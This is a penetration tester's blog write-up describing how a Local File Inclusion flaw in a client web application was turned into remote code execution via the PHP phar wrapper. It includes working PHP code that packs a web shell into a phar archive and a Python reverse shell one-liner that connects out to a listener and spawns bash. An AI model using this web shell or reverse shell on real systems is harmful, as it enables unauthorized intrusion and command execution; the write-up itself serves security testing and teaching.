Local File Inclusion (LFI) to Remote Code Injection (RCE) using Phar wrapper

Hi dear readers, it’s been a while since the last write up. For this write up I will be showing you on how I got Local File Inclusion (LFI) to Remote Code Injection (RCE).

As part of my daily job, I am required to conduct a pentest on a web application, so while working on it, I got a Local File Inclusion (LFI) vulnerability which allows me to read any file that is hosted on the server.

During the web application assessment, I used php wrapper in order to read files in base64 format, which requires me to decode. Figure below proves that I have successfully viewed page.php file. Due to Non-disclosure agreement (NDA) I have to remove any sensitive information.

Reading page.phar file.

Upon decoding the base64, I was able to view the source code of page.php.

Source code of page.php.

While kept on working on the web application, I noticed that the web application has an upload feature, which appends .png extension to anything that is being uploaded. This was verified by reading the source code, thanks to LFI 😉.

Upon uploading .php extension file, I wasn’t able to execute the file and at the same time I also realized at Burp Suite that content of the file isn’t removed.

Viewing uploaded file.

Upon asking my colleague and some Google search, I found out that PHP phar wrapper can be used. The good news is that the web application supports PHP phar wrapper. In order to verify if the web application supports the wrapper or not, please refer to figure below:

Not supported PHP wrapper.
Supported PHP wrapper.

As can be seen from the above figures, if a wrapper isn’t supported, the application will give you a warning, stating that “Unable to find the wrapper ‘zip’”.

Since PHP phar wrapper is supported, I created a file to be uploaded. Below source code is used to crate the phar file.

Note: Before executing code, please ensure that you have made changes in your php.ini from phar.readonly = On to phar.readonly = Off.

<?php
 
try{
 $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
 die('Could not open my.phar');
} catch (BadMethodCallException $e) {
 echo 'technically, this cannot happen';
}
 
$p->startBuffering();
$p['file1.txt'] = 'file1'; 
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php system($_GET[c]); ?>';
 
// use my.phar
echo file_get_contents('phar://my.phar/file2.txt'); // echo file2
 
// make a file named my.phar
$p->setStub("<?php
 Phar::mapPhar('myphar.phar'); 
__HALT_COMPILER();");
 
$p->stopBuffering();
 
?>

Note: The above code is taken from: http://0cx.cc/phar-lfi.jspx. The only change was made on line 15.

  • Before: $p[‘shell.php’] = ‘<?php phpinfo(); eval($_POST[x]); ?>’;
  • After: $p[‘shell.php’] = ‘<?php system($_GET[c]); ?>’;

Figure below shows, I have successfully executed the code and created a file called my.phar.

Creating my.phar file.
my.phar file created successfully.

Upon successfully uploading the my.phar file, I was able to execute commands via PHP phar wrapper successfully. Figure below shows that I have executed “id” command.

Command executed.

Since I was able to execute commands, I did a little enumeration and figured out that python is being used, therefore I used python reverse shell.

Below is the python reverse shell script:

python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" Listening_IP Listening_Port

Reverse shell executed successfully as shown in the following figure:

Reverse shell executed successfully.

I would like to thank my colleague, Mr. Ramadhan Amizudin whom suggested  me to use PHP Phar wrapper.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.